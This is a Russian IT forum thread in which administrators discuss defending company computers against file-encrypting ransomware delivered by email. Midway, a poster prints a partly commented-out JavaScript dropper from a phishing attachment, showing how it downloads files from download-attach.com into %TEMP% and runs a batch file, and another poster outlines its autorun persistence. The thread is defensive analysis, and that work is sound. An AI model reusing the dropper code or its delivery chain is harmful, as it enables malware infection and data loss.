собственно переодически всплывают темы "у нас все пропало, вирус все зашифровал", не минула сия чаша и нашу компанию, разумеется с 1с все нормально, но у юзеров почта, ексельки и прочее навернулось.

хотелось-бы реальных советов как защищатся...

сразу скажу, что НЕ РАБОТАЕТ
1. антивирусы - не работают, по тому как это не вирус...
2. файловые права - не работают, по тому как шифруются данные пользователя а на них права нужны
3. запрет ява, вб, актив-х и прочего, тогда не работают клиент банк, тендерные площадки и еще много чего полезного...

Линейка.

(0) по мануалам клиенты банков должны быть на отдельных компах. А так тотальные бэкапы хардов юзеров или пусть хранят свои данные на серваке и бэкап сервака ил  (1) - киздить

(0) Что работает:
Антивирусы - ибо есть база сигнатур.

+(3) файрвол - доступ в сеть только для разрешенных приложений. ибо шифровальщики как правило из двух частей состоят - загрузчика и шифровальщика.

(3) они очень быстро и легко меняются, кроме того могут использовать системные файлы, именно в этом довольно большая проблемма. Например шифрование идет файлом имеющим валидную подпист мелкософта.

(4) использование фаервола частично решит проблемму, но также часть случаев заражения сделает не востановимыми, пример - генерится ключ, шифруется и ключ отправляется на сайт хакеров, потом ключ с локального компа удаляется... Фаервол блочит передачу ключа и все даже вирусописаки не могут расшифровать...

(0) Культура работы с неизвестным ПО? Всякие песочницы...

если интернет серфинг в песочницу загнать еще можно, то почту не выйдет...

Линух уже предлагали?

(5)Например шифрование идет файлом имеющим валидную подпист мелкософта - это как?

(8) интересное решение, возьмем на заметку...

(7) почту через вэбморду, чё

(9) например capicom.dll

(7) IMAP для почты не предлагать? Все письма есть на серваке.

(11) смысл?
(0) Обучение пользователей не предлагать?
и принудительный показ расширений файлов

(13)тоже плюсик

>не минула сия чаша и нашу компанию, разумеется с 1с все нормально, но у юзеров почта, ексельки и прочее навернулось.

только не говорите что у вас юзеры могут запускать/качать все подряд

(12) врядли винда проверяет все dll в процессе. ИМХО только основной файл процесса

(16) вот такую хрень жамкнули
Счет н.286-4 с февраля 2015 г. к оплате - согласовано и подписано бухгалтерией - mаil-аttaсhmеnt_Scаnnеd and Checked by Kaspersky.tхt .js

(18) дай почитать

(18) почтовый сервер с блокировкой всего активного контента

(19) кое чего закоментил :) короче это загрузка под правами юзера


var _$_bfe2=[

"%TEMP%\x5C",
"%TEMP%\x5Csecured.bat",
"download-attach",
"%TEMP%\x5Cattachment.doc",
"WScript.Shell",
5 - "ExpandEnvironmentStrings",
"Run",
"MSXML2.XMLHTTP",
"GET",
"open",
10-"send",
"Scripting.FileSystemObject",
"ADODB.Stream",
"Open",
"Type",
15-"ResponseBody",
"Write",
"Position",
"SaveToFile",
"Close",
20-"http://",
".com/word.pdf",
"",
"attachment.doc",
".com/403.vlt",
25-"403.vlt",
".com/iconv.vlt",
"iconv.vlt",
".com/index.vlt",
"index.vlt",
30-".com/logs.vlt",
"secured.bat"];

var tef=_$_bfe2[0];                //"%TEMP%\x5C"
var caller=_$_bfe2[1];             //"%TEMP%\x5Csecured.bat"
var lnk=_$_bfe2[2];                //"download-attach"
var attc=_$_bfe2[3];            //"%TEMP%\x5Cattachment.doc"
var WshShell=CreateObject(_$_bfe2[4]);    //"WScript.Shell"

//tef=WshShell_$_bfe2[5];     // получаем переменную среды "%TEMP%\x5C"



function CreateObject(a)
{
//    return  new ActiveXObject(a)
}




function ecut(caller)
{
//    WshShell_$_bfe2[6]    // "WScript.Shell.Run (caller,0,0)"
}

function ewor(tef)
{
//    WshShell_$_bfe2[6]        // "WScript.Shell.Run (tef,1,0)"
}

function ddq(e,tef)
{
    var d= new ActiveXObject(_$bfe2[7]);    //MSXML2.XMLHTTP
    
    //d[$bfe2[9]]($bfe2[8],e,0);    //MSXML2.XMLHTTP.open(GET,e,0)
    //d[$bfe2[10]]();            //MSXML2.XMLHTTP.send()

    var b= new ActiveXObject($bfe2[11]);    //Scripting.FileSystemObject
    var c= new ActiveXObject($bfe2[12]);    //ADODB.Stream
    
    c[$bfe2[13]]();            //ADODB.Stream.Open()
    c[$bfe2[14]]=1;            //ADODB.Stream.Type=1
    c[$bfe2[16]](d[$bfe2[15]]);        //ADODB.Stream.Write(MSXML2.XMLHTTP.ResponseBody)
    c[$bfe2[17]]=0;            //ADODB.Stream.Position=0
    c[$bfe2[18]](tef,2);            //ADODB.Stream.SaveToFile(tef,2)
    c[$bfe2[19]]();            //ADODB.Stream.Close()

}


//ddq($bfe2[20]+lnk+$bfe2[21],$bfe2[22]+tef+$_bfe2[23]); //ddq("http://download-attach.com/word.pdf","%TEMP%\x5C\attachment.doc");

try
{
    ewor(%TEMP%\x5Cattachment.doc")
}
catch(err)
{
};

//ddq(_$bfe2[20]+lnk+$bfe2[24],$bfe2[22]+tef+$_bfe2[25]);        //ddq("http://download-attach.com/403.vlt","%TEMP%\x5C\403.vlt");
//ddq(_$bfe2[20]+lnk+$bfe2[26],$bfe2[22]+tef+$_bfe2[27]);        //ddq("http://download-attach.com/iconv.vlt","%TEMP%\x5C\iconv.vlt");
//ddq(_$bfe2[20]+lnk+$bfe2[28],$bfe2[22]+tef+$_bfe2[29]);        //ddq("http://download-attach.com/index.vlt","%TEMP%\x5C\index.vlt");
//ddq(_$bfe2[20]+lnk+$bfe2[30],$bfe2[22]+tef+$_bfe2[31]);        //ddq("http://download-attach.com/logs.vlt","%TEMP%\x5C\secured.bat");




//ecut(_$bfe2[22]+caller+$_bfe2[22]);        //ecut("%TEMP%\x5C\secured.bat");

(18) Я периодически делаю рассылку всем пользователям с напоминанием не открывать подобные письма и файлы. Помогает.
Хотя понимаю что этого недостаточно.

Здравствуйте, я таджикский вирус...

(0)в милицию обратились?

(0) http://www.windowsfaq.ru/content/view/841/37/

А что разве в MS Exchange  нельзя запретить передачу и открытие скриптов и ехешников?

дейсующий спобосб --- предыдущие версии

Ну и плюс, файлы хранить в метсах, которые бэкапятся

от имени 1с тоже рассылают: http://1c.ru/news/info.jsp?id=19645

Скажите в каком антивирусе есть блокировщик создания файлов с опасными расширениями типа *.exe, *.com, *.bat, *.cmd и т.п. ? Неужели до этой элементарщины еще не додумался никакой производитель антивируса?

(21) сложно от этого защититься. Скрипт скачивает батник и pgp (под другими именами), ничего запрещенного и подозрительного.

потом асимметричное шифрование с помощью pgp

в данном случае помог бы фаирвол - он бы возможно не дал скачать нужные файлы. Я прям сейчас запретил wscript лезть в сеть.

(30) они все пропускают

(21) выложи оригинальный файл - хочу антивирус на него натравить

(31) можно только запретить все, а разрешить определённые действия

зашифрованы файлы keybtc@gmail_com -- тут я нарвался на вирус

(34) у меня режим обучения - что файрвол знает - не спрашивает. остальное - спрашивает. но wscript - это виндовый файл, файрвол его знает, поэтому запретил

+(36) я запретил

(32) Конечно пропускают , по тому что проверяют сигнатуру. надо что бы тупо при создании файла с опасным расширением ядро блокировало создание такого файла.

(38) а если создать с безопасным, а потом переименовать?

(21) я тебе лучше почтой отправлю. так безопаснее...

(40) спасибо

(39) Тоже блокировать.

(42) Банки с РБК грузиться не будут)

(43) А если запускать банк-клиент из под другого не привелегированного аккаунта? Что бы у этого аккаунта не было доступа к юзерским документам и 1С-у.

Очень просто ставишь отдельный компьютер для бекапов, на нем выключаешь сетевой доступ, ставишь ftp сервер, на компьютерах юзверей ставишь программу Cobian Backup, ей делаешь бекапы на свой ftp. Так же есть вариант с авто подключение и отключением к облаку через WebDav.

(0) я сейчас в файрволе установил максимальный уровень защиты системы - запрос перед запуском любого нового или измененного приложения.

(45) это да, но это не защита от самой проблемы

(44) я имел ввиду с рбк в 1С

(46) письмо получил? кликай смело :)))))))

в ява скрипте закоменть запуск приложений (там 2 места) и кликни, проверим как фаервол тяфкнет...

(48) А оно там экзешники создает? По любому , можно сделать какие то исключения , фильтр приложений , допустим процессу с именем 1С разрешено все. Ну или по паролю отключать этот блокиратор , иначе нельзя будет ничего установить вообще. Кстати вроде в AVZ что то такое есть , там какой AVZ гвард имеется , но он жестко блокирует даже запись в реестр по моему.

Часть шифровальщиков можно отсечь - юзерам дать только юзерские права. Увы новым шифровальщикам достаточно юзерских прав.

Через доменные или локальные политики создать "белый список" приложений по хэшу. Из минусов - список нужно постоянно обновлять.
Аналогичная функция есть в антивирусах. В корпоративных версиях - централизованная.

Про бэкапы в недоступном месте или хотя бы в папке с правами закрытыми всем, кроме спец пользователя бэкапера - знают все.

Мелким и средним конторам - можно перевести обслуживание почты на pdd.yandex.ru (Почти все такие письма попадут в спам yandex)

Настроить брандмауер. Как уже писалось, в худшем случае сделает невозможным расшифровку даже злоумышленниками.

ПС: И еще 1 момент. Поймали подобную фигню, обязательно шлем в антивирусные компании. Может кому-то принесем пользу и получим + в карму )

(49) нет :(

(49) Выкладывай уж на обменник, все ждут!!

Где-то читал что резервные копии можно защитить переименовав разрешения в произвольные. Но это пока шифровщики работают выборочно.

Во-первых, если грамотно настроить архивацию и перенаправить важные папки пользователя на сервер, то "нерадивые работники" потеряют только то, что не успело скопироваться, то есть день-два.
(У меня, когда что-то запускали и терялись файлы - я важные восстанавливал из БэкАпа, а про остальное говорил - сами виноваты).

Во-вторых, можно сделать так, что почта и браузер запускаются от отдельного пользователя, у которого нет прав даже на рабочий стол, только пользователи не смогут сразу открывать из браузера файлы - им нужно будет их сохранить, а потом открыть - соответственно, при сохранении уже можно смотреть, что там есть. Также никто не мешает написать сценарий, который будет запускать приложения от имени другого пользователя для нужных файлов.

В-третьих, клиент-банк и прочие важные приложения априори запускаются от специального пользователя с правами администратора, чтобы всё, что работает на компьютере пользователя так просто не получало к нему доступ. Тогда и java будет доступна только тем, кому она нужна.

Действенным методом является перехват и запрет запуска всего, что не разрешено, что умеет Windows из коробки.

Также, если грамотно настроить работу с файлами по сети, то можно не только отслеживать момент записи или удаления файла, но и видеть все предыдущие версии - иногда одного этого действия хватает, чтобы пользователи были довольны, так как некоторые вирусы не шифруют, а просто всё удаляют.

К сожалению, так как Windows немного дырявая, то стопроцентной гарантии того, что все спасутся, никто не даст. Поэтому, не забыть проводить беседы с пользователями, объясняя, что если кто-то что-то открывает, то он сам виноват.
P.S. особенно полезно в реестре при запуске .scr поставить вывод сообщения о "хороших качествах пользователя".

(52) послал повторно, первое вернулось как спам...

(55) <К сожалению, так как Windows немного дырявая>

Зачастую руки админа не достаточно умелые, а не Windows дырявая

поднять свой почтовик  и поставить запрет на скрипты и все чужеродное, уже предлагали???

(57) Повышение прав через dll фильтра печати иногда прокатывает, к сожалению, не везде эти "фокусы" заткнули - а не давать пользователю права управления принтером - немного жестоко.

(36) Ещё очень хорошо помогает изменение расширений для сценариев на другие - тогда все ваши сценарии прекрасно работают, а что-то, что пользователь пытается запустить - он видит просто в текстовом редакторе.

(59)+ просто у меня какой-то замечательный вирус пытался что-то с подсистемой печати сделать, после чего машина уже ничего не печатала до перестановки Windows (точнее перезаписи всей службы печати), но что-то он от неё очень хотел, если из dll пытались запустить exe-файл.

(55) Я использую для "таких" приложений
http://admilink.narod.ru/admilink.htm

Хотя для большинства клиент-банков и прочих похожих приложений админские права нужны только для настройки, во время работы они не нужны.

(61) Клиент-банку нужен отдельный пользователь, чтобы оградить его от всего остального и разрешить запускать нужные программы. Да и профиль в браузере будет отдельный. Зловреды очень любят портить настройки браузеров и прописываться туда как расширения.

Ещё очень полезно запретить пользователю запись в автозапуск (у меня, правда, и администраторам тоже запрещено) часть зловредов отваливается с ошибкой на данной операции.

что-то Rebelx молчит, видать получил письмо :)

(63) да, был занят. воспроизводил схему защиты на виртуалке

в принципе - враг не прошел.

Итак файрвол - аутпост
заблокирован доступ в сеть для wscript - скрипт сразу выдает ошибку при скачивании файла

Если отключить

отслеживание активности - максимум, т.е. вопрос при запуске новых и измененных приложений.
Сработало.

(64) ну ставить на все локалки оутпост и потом иметь геморой бегая по сотне клиентов после каждого обновления - это не айс...

хотя например для админов (и прочих с большими правами) - надо посоветовать...

(65) все они имеют корпоративные версии с удаленным управлением

(0) Можно запускать интернет только из виртуальной машины, которая будет стартовать из чистого образа каждый раз при запуске. На физической машине - никакого интернета. При такой схеме в виртуалке даже антивирус не нужен.

(67) грамотные вири используют дырки виртуалок и могут пробраться "ао внешний мир"

У одного клиента 2 раза в течении месяца шифровали, там базы 1с77, урбд, восстановить вообще не проблема.
проблема была в 2-х файлах excel, в которых у него (маленькое ИП) было много полезного.
обратился ко мне после шифрования, я предложил ему узнать цену расшифровки и, если приемлема (ценность информации перекрывает цену восстановления) то заплатить.
В общем он связался с ними, выкатили 20 тsh/
- а как я могу быть уверен, что вы мне расшифруете, а не просто возьмете деньги и обманете меня?
- не проблема, пришлите нам 2 любых файла, мы вам докажем, что можем расшифровать

в общем, он отправляет им эти 2 самых важных файла, они расшифровывают, он говорит спасибо и посылает)))
остальное я восстановил.

после этого поставил ему вин8, сделал его пользователя "кастрированным" по правам, сделал пользователя со сложным паролем с админскимим правами, что бы он сам мог установить нужное ПО.
сделал шифрованный диск (бит локер) что бы он архивы на него складывал, научил в облако складывать нужную инфу, провел инструктаж, какие письма нельзя открывать.
Пока больше проблем нету.

20 тыс.руб

+(69) до этого стояла вин2003, смотрел в логах, примерно в 5 утра создается новый пользователь, и начинается веселуха по шифрованию.

Ну во первых есть способ номер 1. Поставь Линукс и не работай под рутом. Вариант 2 настрой пользователям нормальные права и поставь все заплатки.

(72) И какая заплатка запрещает запуск js?

(72) >>>Вариант 2 настрой пользователям нормальные права и поставь все заплатки.

не прокатит к сожалению, эта гадость работает на ограниченых правах

(67) ага, клиент банк, 1с с ее загрузкой курсов валют, почта, тендера, обмен с сайтом, такском (и еще куча чего) все это будет запускатся с чистого образа на виртуалке?

пока вижу только такое решение
тонкие клиенты на линухе входят в терминал, в терминале белый список приложений...

(74) Браузер с нормальными заплатками и с настроенными правильно правами не может работать с левыми файлами. А эта фигня лезет именно через браузер.

(18) ну вообще-то почтовый клиент любой вменяемый даже с дефолтными настройками не должен открыть прямо из себя такой файл ни при каких обстоятельствах. Нужно сохранять куда-то и уже оттуда запускать. Неужели у вас люди настолько непуганые?

(72) Линух, это как с неуловимым ДЖО - "не потому, что он не уловим, потому, что он мало кому нужен" :)

(76) "Акт сверки ОАО Сбербанк.xls                       .exe"   откроют 95% бухгалтеров из тех, кто никогда с подобным не сталкивался, и каждый пятый из тех, кто уже когда-то пострадал от подобного. Ибо рабочее время, начальство задание дало срочное, а тут еще какие-то письма валются..

(78) Выход один, правильно настраивать Екченджи. Находить софт, который бы проверял всю приходящую почту, в плоть до архивов и вырезал все такие архивчики.

(75) я тебе раскажу как работает то, что к нам залезло

1. юзер запускает js он выполняется в "безопасной машине", 2. скрипт посылает http запрос и скачивает несколько файлов и кладет его в темповый каталог, один файл бат.
3. скрипт запускает бат файл, он тоже запускается в "безопасной машине"
4. бат файл запускает шелл и ей прописывает авторун на один из загруженых файлов
5. после ребута запускается авторун уже с не в "безопасной машине" а под правами юзера... все мы вылезли из песочницы...

(80) бесплатный комод файрволл при изменениях реестра вопросы задает "а хотите ли вы поиметь изменения в реестре?"

почему хватает прав на HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run это конечно вопрос....

(81) бух который нажал на js совершенно наждет ДА в комоде

Ставим линукс, в нем создаем раздел btrfs, на него пишем образы дисков виртуальной машины с виндой. Каждый час (день) создаем снапшот файловой системы, на которой лежат виртуалки. В результате - вирусы не страшны, если что, откатываемся на нужный момент и всё. Вполне реально, только много возни с настройками.
Вот я мечтаю, что чьи-нибудь умные руки сделают дистр линукса "версионный гипервизор", где бы виртуалка грузилась автоматически, а в гипервизор попасть можно было по хоткею, возможно с вводом пароля, а дальше выбрать версию для восстановления или задать настройки версионирования.. и ничего больше не надо.

(84) класссс... есть сетевой диск в котором 10 терабайт сканов пользователей и ты его каждую ноч будешь архивировать фулом? неужели ты не слышал про диф бекапы :)

(84) объем данных может быть настолько большой что за ночь даже легко пережать не получится, не то что уже перекинуть по сети.

(85) Вы просто не курсе про фичи btrfs)

(86) Снапшоты в btrfs создаются за секунды

(80) Запрет на исполнение любых программ, лежащих в неположенных местах :) Политиками безопасности. Но требует длительной настройки. Соотвественно, включение UAC и хрен что запустится без разрешения.

(74) Непосредственно не сталкивался с шифровальщиками.
Но правильно я понимаю, что дыры - это почта и броузер.
Обмен с 1с, загрузка валют, банк-клиент не являются проблемой.

Т.е. если вынести в зону риска броузер и почту, то должно помочь

+90 Кстати, в браузере NoScript поможет?

(91) половина сайтов не будет работать...

(90) вынести почну невозможно...

(92) А они нужны? В некоторых конторах (банки) интернет вообще по списку разрешенных сайтов (про жесткие варианты с 1 компом с интернетом на отдел я молчу).

+ практика - хранить важные документы на сетевой шаре, которая периодически архивируется.

(93) нужны, например тендерные площадки, различные каталоги и т.д.

белый список сайтов - к сожалению не реально...

(18) Что-же здесь должно было насторожить? Я-б открыл, т.к. не вижу криминала, ни в названии, ни в успокаивающем тексте - а-ля проверено всей лабораторией каперского.. при его личном участии :)

На что, собственно, следует обращать внимание?

(96) в этом и есть проблемма... ну значек разный, ну еще обернуто в зип, но в целом красиво :)

у нас даже админ жамкнул :)

на шлюзе запрет сделай, этож плевое дело...

(98) запрет на что? на HTTP запрос ???

(99) на файлы  js и ежеси с ними

(100) :) сам пробовал :)))

подскажи модель которая умеет фильтровать HTTPS по содержанию...

(82) На все автораны в реестре ставится разрешение для запись только для операционной системы, так как исполнения MsiExec установки программ из под неё родимой выполняется.
А Администратору, как и обычным пользователям, порезать права на запись и изменение.

P.S. в Windows как и в Linux понятие "песочница" отсутствует, как класс - есть только урезанные в правах пользователи - но это совершенно разные вещи.

(101) Фильтровать что-то бессмысленно, так как в содержимое может быть закодировано и восстановлено на клиенте при помощи простого скрипта, а если части его грузятся с разных серверов, то и фильтратор не сможет понять, что и к чему.

Отдельный комп для интернета спасает от шифровальщиков только частично, а зато использование flash-дисков позволяет разносить "традиционные" вирусы.
Очень труднопобедимыми оказались вирусы, которые ставят в exe-файл иконку папки, а папку с файлами скрывают - в итоге - ничего не понимающий пользователь "запускает" такую папку на ура.

(0)Уже отвечал на вопрос какой антивирус?

Храните файлы в документообороте, работайте под терминалами с ограниченным запуском программ и будет вам счастье

Грамотно организованное резервирование и архивирование - ответ на 80% админских вопросов. Да хотя бы на публичной шаре ссаный шедоу копи настроить - уже задница прикрыта.

(0) Резервное копирование плюс нормальные политики безопасности.

(107) +1

А кто-нибудь шарит в яве? Хотелось бы посмотреть пример исполняемого файла с разрешением js. Например чтобы выводил сообщение Hello World в среде windows?

(107) теневая копия не поможет, оригинал же стирается, просто рядом пишется файл[email protected]

(111) учи матчасть

<script language="JavaScript">
var fso, f1;
fso = new ActiveXObject("Scripting.FileSystemObject");
f1 = fso.CreateTextFile("c:\\testfile.txt", true);
</script>

js -это не ява - это JavaScript

Кстати если запретить запуск приложения wscript.exe, то js не запустится. Но чем это чревато для работы пользователей?

(115) Во flash и java есть возможность выполнить JavaScript через MSScriptControl - элемент выполнения сценариев, который в WScript.exe не очень-то относится.
Полный запрет выполнения JavaScript, VbScript и HTA-приложений не позволит запускать даже некоторые системные утилиты (написанные на том же hta).
Пользователи просто заметят, что некоторые программы не запускаются, а другие - неправильно работают.

Однако, от вируса это не спасёт - он создаёт ярлык из которого запускается файл уже с произвольным расширением.

(0)Я посылала в лабораторию Касперского файлы до и после шифровки. Они  прислали расшифровщик, все восстановилось, только даты файлов, естественно изменились на дату восстановления.
Переписывалась через личный кабинет

(117)А если им послать только зашифрованные файлы, то они их расшифруют?

(118)Думаю, да, ведь они должны убедиться, что расшифровщик сработал нормально. Но вышлют ли их тебе? - не факт:)

В принципе если ТС выслал бы мне парочку файлов для проверки - мне нетрудно было попробовать их расшмфровать присланным мне расшифровщиком. Чисто для интереса

(120) А какое расширение добавляет ваш шифровщик?

(121) Crypted - вроде так. Я запускала расшифровку с удалением зашифрованных, так что пишу по памяти.

объясните тому кто не в теме, в почтовике разве нельзя заблокировать на скачивание файлы с расширением .js, .rar, .ехе и тому подобное ?

(123) Почтовики разные бывают. В Оутлуке исполняемые по-умолчанию блокируются. А с архива без проблем запускаются.

(123)У меня гости были, получали свою почту на моем компьютере. Ну и... вот...

Приезжали два чувака из краевого отдела "К", разъяснили, что чуваки-шифровальщики круче их, и поэтому писать заявление все равно бесполезно

где-то читал что шифровальщики не работают с теневыми копиями... т.е. настраиваем например часовое создание копий, если что восстанавливаем. Но думаю что это актуально только для документов, что будет с целостностью ИБ хз...

(127)По-моему, нормально будет

(127) в начал ветки про это написал
для бд это ернуда

вроде была статейка в инете, что только кис домашний ловит, остальные реагируют, но шифрованию не мешают. ну, я и так его приверженец, воркспейс ненавижу с древних времен, когда он 7ку ронял даже не запущеным.

Я храню все в облаке и если с компом что случится, сразу заводское  восстановление настроек и приступаю к немедленной работе.

(127) бывает, что поздно спохватываются, когда уже в копиях зашифровано все.
(131) сомневаюсь, что мне будет удобно и дешево работать с 10 ТБным облаком...

(130) Не ловит этот КИС шифровальщик.

(133) жаль. но я ему как-то скармливал свой. вроде реагировал. но лечение уже опосля проводилось, мы с админом по пятерику скидывались, восстановили. а из якутска тетка уже 30 заплатила, (полтора биткойна). жадность этих уродолв не знает границ. сейчас поди уже под сотню требуют (в рублях).

кстати, тот пятерик уже окупился многократно, ибо из-за того вируса мне в два раза цену договора подняли, а прошло уже три года ;)

(112) а что учить-то, если про версионность файлов, то так оно и есть, если про копию всего тома - то это тот же архив

ша проверим нод и каспер на профпригодность...

Пока спасает SRP (Software Restriction Policies)

(136) Так у каталогов тоже есть версии)

только вчера смотрел на виртуалке. Пришел по почте файл с оконцовкой cmd.
обычный exe  - с сайта **** скачивает два файла sys и rar
Дальше переименовывает в sys.exe и rar.exe ну а дальше я думаю понятно все.

+140 да и вчера антивирь не ругался на сайт, сегодня уже не пускает.

(130) кис -- первый пропускальщик...
у меня как раз клиент словил этот шифратор, но на машине был кис

кстати, отличный бизнес у ребят

осталось им открыть сеть фрачайзинга, чтобы его партнёры боролись с шифровкой за деньги

(142) вроде полгодика назад поговаривали, что кис обучили ловить кодировщики и бета тест полным ходом идет.
Значит на месте так и топчаться.

когда пострадали от этого , первое что сделал - сменил расширения архивов копий на что то не относящееся к тому что шифрует. Пока по сигнатуре они типы данных не отличают. Единственное что помогло это ежедневный бэкап , а критичные данные - например ТиС - каждые 3 часа. Копии лучше отправлять на локальный ФТП , т.к. расшаренные папки он то же все зашифровал.

(144) сейчас все авнтивири не умеют ловить вирей, которые использовали методы 90х....
немного модифицируем способ "старины" и вот тебе "стелс" =)

Вменяемого лекарства от этого зла пока нет. Некоторые антивирусы пытаются отловить активность потоков шифрования , но думаю это пока не то. Только бэкап , ибо дисковое пространство не стоит ничего сейчас.

(146) а ты с авирой распрощался?

(148) давно, как-то только он в первые пропустила вирь

(147) вменяемое лекарство -- штатная видовая защита -- запретить всё, разрешить определённые действия

(149) хм.. вот-же зараза..
у меня MSE, так надеялся я на него, а он тупо промолчал..
Заразился мой офисный комп.. Был отруган, комп заменили, в правах урезалиии.. :)
Правда, 50х50, что привнесен не мной, найден еще один комп с вирями у бушки..
вирь дописывал второе расширение к файлам *xls.чтототам..

(151) он ещё файлы *.1cd шифрует =)

у нас был vault

кому интересно - на момент бяки ни один антивирус его не ловил, проверял на ноде, вебе, каспере, аве

(153) хотя по инету прощло как минимум 2 недели после его появления....

(152) - до меня этот шифровальщик, видимо, не добрался, всё на компе было в ажуре.. Кроме как на мисте в ветках пара слов заменялась рекламой..

А вот на сетевых хардах я увидел первым, админы аж застонали :)

(153) точно! именно это расширение.

+155 CureiT тоже не видит..

конкретно его можно бороть по

Использует встроеные в виндовс компоненты
a.    ADODB.Stream  
b.    Scripting.FileSystemObject
c.    MSXML2.XMLHTTP
d.    WScript.Shell
Использует сетевые имена http://download-attach.com и псевдо ссылку ТОР вида http://ххххххххх.city

но в следующей вариации будет другое...

(157) еще использует http://bryaknut.ru/

кстати учитывая необходимость (при использования веб клиента 1с) не самых безопасных настроек приходится выбирать либе 1с илбо защита :)

(159) а какое дело до клиента вэб вирусу ?

(160) если установить настройки которые будут блокировать скрипты, то веб клиент 1с не будет работать...

(161) главное, чтобы с базой ничего не случилось =)

(0) варианта два:
1. Все переносить к херам в облака, УСБ-дупла замазать цементом, пользователь с данными общается через вебсервисы и прочие прокладкопрослойки с тонкого бездискового клиента
2. Если пользователь работает на рабочей станции, то есть - данные хранятся у него, то бэкапы и версионирование - онле.
Все, на что у пользователя есть права изменить на рабочей станции, будет зашифровано. Помешать этому вариантов нет, если троян сумел запуститься под правами юзера.

(163) Облако не понацея. Сегодня это облако есть, а завтра его нет. По тем же политическим соображениям :)

(164) я говорил про СВОЁ облако, а не всякое там маилру и прочий гуглдрайв

(161) Для сайта с 1с можно разрешение поставить

(165) К примеру, на каком софте?

(167) забавный вопрос

(0) Бэкапы.
Рядом с серверами поставить ящик с фряхой, поднять на ней ФТП и сливать туда данные каждую ночь.

Профит.

Есть ещё такой "фокус" - называется "одноразовый диск".
Если в правах пользователя запретить "удаление" и "создание папок/дозапись данных", то получается директория, в который пользователь может создать файл, но не может его перезаписать - и файл остаётся навсегда.

(170) Только "фокус" с Word-ом не работает - он при записи несколько раз файл перезаписывает - будь он не ладен.

Ни кому свежачка не отправить?
Вложение суровое на 155 кБ...

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
От:       алеша новиков <[email protected]>
Кому:    
Написано: 16 марта 2015 г., 16:00:35
Тема:      Я нашел, фотки, эти фотоки только для тебя
Файлы:    Darja5_VK.zip
--====----====----====----====----====----====----====----====----====----===--
Прет алеша, вчера наткнулся на фотки с встречи выпускников приколись,
лично я по ржал прикрепленный файл все в нем

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

(172) А... Так вот что мне сегодня с утра пытались впарить про фотки с корпоратива )))

>> Грамотно организованное резервирование и архивирование - ответ на 80% админских вопросов

Где можно почитать/посмотреть про грамотное архивирование?

и конкретная ситуация  - домашний комп 1сника, есть личные личные папки есть рабочие. бекапить каждый день все - никакого места не хватит надолго, соответственно, нужно сделать основной бекап, а потом изменения. есть такой софт под win 8.1?

можно пойти по более простому пути, забекапить вручную те папки, что не меняются (или очень редко меняются), и написать скрипт для бекапа тех папко что меняются часто или очень важные.

(174) А стандартный виндовый разностный BackUp разве не годится ?

ща попробую освоить

(175) похоже что не годится.
там бекапиться системный раздел, а мне систему вообще бекапить не надо, главное данные чтобы были целы, а они на других логических дисках. причем бекапить надо выборочно.

если я чего не понял, прошу объяснить и
поэтому вопрос о проге с накопительными бекапами открытый.

похоже что придется изучать это
https://technet.microsoft.com/en-us/library/cc733145(v=ws.10).aspx

оказывается есть и GUI к этой штуке
https://technet.microsoft.com/ru-ru/magazine/2009.04.utilityspotlight(en-us).aspx

а интересно, кто как бекапы дома делает?

(179) У меня два бекапа, оба уже отдельно живут... Научить делать?

(180) расскажи, вдруг мысли интересные будут.

вообще, большая куча бекапов тоже не нужна, в них только путаться будешь. а оптимальность в этом деле у каждого своя будет.

(181) Сохранять всё не получится ни когда. Архиваторы то-же пишут архивы с вирусами, поэтому надо понимать что действительно нужно сохранить и что потерять не страшно.
Для 1Ски хватает регулярного создания архивных копий, для любителей MS-овских документов хватает копий в облаке или на паре флэшек раз месяц (ценность сих тварений понимают все), фотки свадьбы и пр. "важных событий" в хранении не нуждаются, если нуждаются, то пишутся на СД или ДВД и ложатся в несгораемый сейф.
Про детей не буду :)

(182) Ну, то что пишется на DVD через несколько лет может просто не прочитаться.
Но, хранить фотографии на рабочем компьютере вообще как-то не очень логично.

(181) Как уже тут было говорено, оптимальный бэкап в данном случае - версионное хранилище с доступом к предыдущим версиям "только чтение".

>> Как уже тут было говорено, оптимальный бэкап в данном случае - версионное хранилище с доступом к предыдущим версиям "только чтение".

я и не спорю с этим утверждением, вопрос какая программа его умеет делать?

(185) Можно https://lightbackup.com/ попробовать. А доступ на чтение правами разрулить...

(185) Программа секретная, не всем доступная.
Называется "грамотный сисадмин". Стоит дорого. На халяву, увы, не скачать

(187) На самом деле, некоторые пытаются получить если не на халяву, то за тарелку супа.
Но, как показывает результат, не всё, что называется гордым именем "системный администратор" оказывается им на практике со всеми вытекающими (и, скорее, падающими) последствиями.
Поэтому, стоит несколько раз подумать над тем, а нужна ли нам такая экономия.
Конечно, иногда бывает "трагическое стечения обстоятельств", когда  и грамотный сисадмин мало чем может помочь, но чем более продуманно сделана защита и чем чаще делается резервное копирование, тем меньше последствий может иметь инцидент.
P.S. иногда и уборщица способна сделать из сервера никому не нужную железную коробочку.

(188) ключевое слово "грамотный"...

(189) Проверить грамотность администратора может только другой более грамотный администратор, так что "не всем доступно" - это очень даже отражает суть вещей.

(163) +1 - все остальное не работает.

а что, если кто-нибудь заморочится с контролем обработки файлов? ну, потеряем пару десятков файлов в начале диска. будет висеть мониторчик вместо каспера. сложно такой написать? думаю вот такой написать после перезда в другой город, когда на фикси перейду, а то заепся немного с беготней по клиентам

ну вот. и мы тоже. прислали с проверенного ящика. созвонились с ними, у них все заражено, но они всех типа предупредить не успели. письмо выглядело как типа счет на оплату в архиве, а в архиве js
в другой организации пришел ехешник, каспер его перехватил

(193) сегодня также в одной организации словили, но 1с он не зашифровал (хранится на отдельном фтп), а вот документы некоторые шифранул

Теневое копирование рулит.. зря все-таки нет распределенной технологии теневого копирования.. размеры жестких дисков вполне позволяют сиё

(194) он и у нас 1С не тронул, все доки в основном кореловские и автокадовские, пострадали только мелкософтовские, но все равно их много.
(195) там все забито было, не успел за бэкапы взяться, бухия (после переноса) просто не отпускает. хорошо хоть 1С не йопнулась.

а нет, 1Ску лопатит как миленькую. хорошо, что бэкапы сделали успели. он где-то прочно прописался, надо сносить все нафик

